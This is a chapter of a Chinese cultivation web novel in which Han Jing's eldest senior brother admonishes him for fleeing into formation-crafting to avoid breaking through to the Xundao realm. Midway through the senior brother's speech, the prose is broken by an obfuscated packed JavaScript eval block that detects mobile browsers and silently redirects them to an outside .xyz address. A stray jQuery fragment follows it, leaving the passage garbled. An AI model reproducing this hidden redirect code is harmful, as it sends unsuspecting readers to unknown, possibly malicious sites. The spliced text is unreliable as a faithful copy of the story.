二师姐当场大骂，三祝刚扯下个腿儿来，她就一掌把蟑螂连同火锅拍成了薄片，将萧易和三祝打包扔出了城。


    韩景体面一点，是撂下筷子，陪笑着自己走出来的。


    三祝挠两下嘴筒子刚被扣上的面罩，又是百般哀怨，一个轱辘从地上站起，先对本次行动的失败做出了系统且精准的总结，再表达了自己对下次团队作业的前瞻性思考以及建设性展望，着重批评了韩景在任务初始阶段表现出冒进倾向，以至未能达成完整享用爆辣蟑螂的预期目标，造成任务失败的不良影响。


    “唉，罢了罢了。”三祝话到最后，蹲坐在地上，垂下脑袋叹息一声，“怪来怪去，还是我没带好队伍，没让你们也尝到好吃的。以后都听我的，保证有我一口汤喝就有你们一口肉吃！”


    韩景遭他用肉垫拍了两下肩膀，僵笑着将他刚拿来将蟑螂从锅里勾出的那只爪子按下去，说让三祝别太遗憾，心意领了，主要他本人对吃肉不是很感兴趣。


    三祝于是向旁稍移开目光，就瞥见萧易正盯着他。


    一狗一人可谓臭味相投狼狈为奸，对视一眼尾巴就能翘到天上，一句话没说，呲溜一下就相约着跑没了影，也不知道是干什么去。


    韩景无语，独自回了药田。


    三师姐自韩景初入画中时就鲜少露面，成年成年的时间都在洞府内闭关炼器。


    据二师姐说，是解厄勾起了她的好胜心。见过解厄后，三师姐若不炼出一个比解厄品阶还高，且功效更胜天一筹的法宝，估计要整日抓心挠肝了。


    与三师姐比起来，大师兄的时间就活泛许多。


    韩景在药田外边站上几天，就能看见大师兄扔出来一茬接一茬连品阶都无法定义的丹药，全是拿到大世界中能哄抬上天价的至宝，在画中却像废品一样，扔在泥地里都没人乐意弯腰捡。


    当然，三祝有时候会来帮大师兄清库存，韩景也会分辨着药效，顺手拿上几枚，以备不时之需。


    他暗中认真观察过，发现大师兄所炼制的大多数丹药的药效，几乎都是相同的，其他类型的丹药只有在大师兄炼烦了想换换材料的时候，才会小批次出现。


    凭韩景一个半吊子根本看不出那些相同类型丹药间有什么差别，也弄不清其药效是为疗愈何种伤势，抑或辅助进阶何种境界。


    但他在冥冥之中有一种感觉，这些丹药，和那名潜藏于画中世界的另一端、隐没在连天灰雾之内的人，定有极密切的关联。


    解药。


    这是画中仙，也就是他名义上的师父，在同他初见时，说出的字词。


    二师姐曾说，几千年都很难得见画中仙的灵体出山，为什么偏他去的那一次，诱出了画中仙真身。


    最令韩景费解的，不光是画中仙如何能开辟出一个与大世界处于同位面的世界，还有这方世界，最初是由于什么目的会被开辟出来。


    壶中日月，洞里乾坤，其价值到底在何。


    ……


    两只黑靴忽然出现在他的视野中。


    韩景正对着一丛灵蕈开着小差思考生命的意义，抬眼便见大师兄站到他面前，一时竟心虚起来，在地上将方才没画完的符文迅速画好，搓搓指头上沾的土，站起身。


    “师兄，有事吗？”


    大师兄四下望了望。


    “你这些日子，还在研究培育破妄灵蕈的阵法？”


    “最近已有进展，等我将材料按现有的阵法图进行炼制，就可视其效果再做改进……”


    韩景正说着，大师兄便踱着步子向旁走远，打断了他的汇报。


    韩景在原地顿了片刻，实在想不出自己是犯了什么错才招致大师兄态度冷淡。


    他能想到的只有萧易他们又来大师兄的洞府作乱，大师兄这才找上他，叫他好生约束师兄师弟们。


    韩景追上去。


    “师兄……可是小易他们又闯祸了？”


    大师兄摇头。


    他摇头的角度似有过计量般的精准。说是摇头，其实只是略向侧方偏了一下，但韩景仍能看懂这是否定。


    韩景猜不出这次谈话的内容，干脆沉默下去，跟在他侧后方走在药田间，等着大师兄的评判。


    “你有多长时间没有专心修炼了。”大师兄并未看他，目光还落在韩景画满了几十亩地的符文上，问。


    韩景身上一僵，将跟着大师兄投到药田中的目光收回，落到他背脊，向后略退了一步，欠身，却没说出话。


    “两年前，自从我叫你炼制阵法培育灵蕈后，你就没有闭关过了吧。”大师兄没指望他答话，接着说下去。


    “……是。”韩景不敢多做争辩。


    大师兄缓缓转过身来看他。


    “你这般殚精竭虑地炼制育药阵法，是为了早日从我这里得到丹药，突破境界？”


    他这一问问的，韩景觉得自己答也不是，不答也不是，只能斟酌着交代个大概，“我本喜好炼阵，破妄灵蕈所需阵法，若要定其品阶，应在天品至上，于我而言是巩固天品阵法炼制的机会，不可多得。


    且师兄育药需要此阵，我若能早日将其炼制成功，培育灵蕈的尸傀数量便能缩减上千，早日为师兄师姐省下心力，因此，才心急了些。”


    大师兄听完他这一番话，却轻笑出声，“韩景，你这人并不迟钝，对师兄这番安排，你是真不懂，还是装不懂？”


    韩景眼神逐渐向下瞥去。


    大师兄继续训道：“我当初观你提升修为太过急切，基础不稳，没有任何沉淀就急着往上拔高境界，你功法特殊，长此以往，即使有丹药助力也必遭反噬，所以想叫你将阵法炼制捡起，在同一境界多加底蕴。


    可等你捡起来炼阵，就一心扑在炼阵上，不顾修为后，师兄才明白你现时心病的根结所在。”


    韩景因被人看穿，生出些尴尬来。他敞不开心交谈，也不知该作何回应，只能等大师兄特意留出的叫他反思的短暂时间过去，继续等着挨训。


    “你修炼是为了逃避，炼阵还是为了逃避，你只是想找件能一门心思扑上去的事来干。”


    是了。


    修炼是为了逃避现实，炼阵是为了逃避修炼。


    果然，大师兄还是来找他谈这件事了。


    他将韩景的心思挑明讲出，韩景即使不想说话，此刻也必得有所回应，“我……修炼到尊者境巅峰，再往前一步，就是寻道境。”


    寻道境，是元幸死时的境界。寻道境时，元幸可以用自己的死，撬动无量仙域半边风云。


    寻道境，是福寿城主文盛的境界。文盛能以寻道境修为统领一城，斡旋乾坤，也会告诉他，等能活下去、起码要到她这个境界后，再回无量仙域。


    韩景在种种因素的推动下，一直想抓紧修炼至寻道境，可真正只差临门一脚时，他却怕了。


    他曾用修为的提升来麻痹自己，盲眼回避着无量仙域的乱局，于是等纵马奔驰至他为自己设置的天堑时，他发现盲眼无法令那道真实存在的天堑消失，于是便一步也不敢再前迈。


    寻道境，真的能回去吗？


    寻道境，真的有用吗？


    究竟是寻道境无用，还是他无用。


    他现在回到无量仙域，除了在乱局中夹缝求生，还能做什么。


    他做不到他该做的。


    他要辜负所有人的期待了。


    “大师兄，我现在，或许还没有做好晋升寻道境的准备。”韩景低声禀着。


    大师兄却很快便接话道：“你以为，寻道境要作何准备？”


    韩景又一次没能回答。


    寻道境于他而言，承载了太多东西了，他实在表述不出、分拣不清。


    于是大师兄替他说，“寻道境者，乃叩天门之始，自受制者迈向法天者之阶。修士以灵台方寸为舟，渡无量心海，于诸天法则中觅得本我真谛。”


    这番话本就晦涩难懂，由大师兄之口说出，温厚醇重，一时间，似天方地圆皆失本我，唯余偈语般没有棱角的空明。


    “寻道境需破三次玄关。一曰照见五蕴皆空，斩红尘妄念如断三千烦丝；二曰勘破天地樊笼，悟四象轮转而生混元道胎；三曰叩问本心真如，以无垢道心种下法则道种。


    合天地是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580618|164476||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    为道，逆乾坤亦为道。风火雷雨，诸如此类寻常道法，最为常见，不过领悟世界法则，并时加借用。其道虽为道，却并非己道，而是天道法则的分支，顺天而为可昌，逆天而为必亡。


    可修士修行，本就在与天夺运，寻常道法怎能步至终阶。而韩景，你功法特殊，你若修此功法而领悟寻常道法，必然两相互斥，身陨道消。


    你只能由这一条路走下去。这是最难的路，你的道，必须独立天地之外。”


    大师兄说到这里顿了顿，等韩景终于抬头看他，才道：“大道如渊，唯持赤子问道之心，方得窥见太初玄门。你若因世俗烦扰，连问道本心都失之一空，任由自己陷入涡旋，连这第一步都没有胆量迈出，往后的路，你要如何孤身前行？”


    由他这一说，韩景发现自己心中那些杂乱烦扰的思想，竟都消散到了九霄云外。灵台无尘，那颗虚幻的、内敛着浑厚玄力的道心，也随之被拂拭清明。


    “多谢师兄赐教！我现在就回洞府闭关，稳固修为，冲刺寻道境！”韩景拱手。


    他很久未能如此欣喜。那是发自内心深处，自视到自己真的有所进益、突破困身已久的壁障的欣喜。


    可这份欣喜中，大师兄却按下了他的双手。


    “急不得。”大师兄淡声说，“稳固境界是好，但突破寻道境，你现在还不够。


    不谈修为基础是否会让你陷入桎梏，单论心结，你只是暂时把杂念压下，等到突破时，感念调动至极端，心结仍会阻碍你前路。”


    “那……师兄，我该如何做，才能解开心结？”


    韩景本以为大师兄会像方才那样，给出一个确切的答复，将他点醒。可大师兄的回答，却出乎韩景预料。


    “解不开。”


    大师兄仍摇头，“若说有什么能解，只有时间和阅历了。


    在那之前，用药压制才是最优选。当你真正有把握一举突破，我自会将丹药交于你手。”


    “道阻且长，你可以陷入困境，可以短暂停歇，甚至可以迷失方向。


    但记住，一定要走，要稳扎稳打地走。


    不能怕，不能因为迷茫而止步不前，先走下去，总会踏上正确的路途。”


    大师兄在谈话的最后如是说。


    韩景自那之后的好几日都在回味大师兄对他的告诫，每领悟一点儿，心中对那条望不见前景的道路的畏惧，便会减少几分。


    他停住了在同一地点的徘徊，而是驻足，任由自己放空休息。


    前方的迷雾仍在，前路仍朦胧不可知，但韩景已不再将自己圈禁原地，企足眺望远处，徒增焦虑恐慌，而是着眼在自己触手可及，未被雾瘴隔绝的地方。


    他要等到自己走进那片雾气后不再盲目乱闯，而是有足够的信心，坦然面对迷雾中发生的一切情况时，再向前迈进，步步有迹可循。


    于是这些天，韩景的日常活动变成了在白骨居的竹林穿行散心，觉得太清静就去全是尸傀的小仙都为自己填些人气儿，休息累了就来大师兄的药田，在他即将完成的阵法图上添两道符文，然后到三师姐的藏宝库，找寻相应的炼阵材料。


    他觉得自己短暂沦为了和三祝他们一样的街溜子。


    由于同样满世界地转悠，韩景少不得与萧易打照面，每次见他被风刮得怒发冲冠地跟在三祝和一双眼睛中间驰骋，韩景都会反思放任萧易从小跟两条狗疯玩的决定是否正确。


    终于，韩景又一次撞见三个黢黑的物体从他身侧擦过时，他受不了了。


    大师兄的教诲犹在耳边，韩景越发觉得自己同样是当师兄的，虽给不出那般深奥的建议，但总不能目睹师弟长成如此惨状，仍无所作为。


    更何况，他还有事情需要和萧易谈。


    自打两人从星澜门山脚的小城走出后，他就出于羞耻一直在逃避，现如今既然彻底闲下来，不如从微末着手，先将此事解决了。


    “萧易。”


    萧易跟两位师兄正勾肩搭背，同他打过招呼要走，听韩景叫自己全名，顿时笑容发僵地转身回望。


    “来白骨居，师兄给你束发。”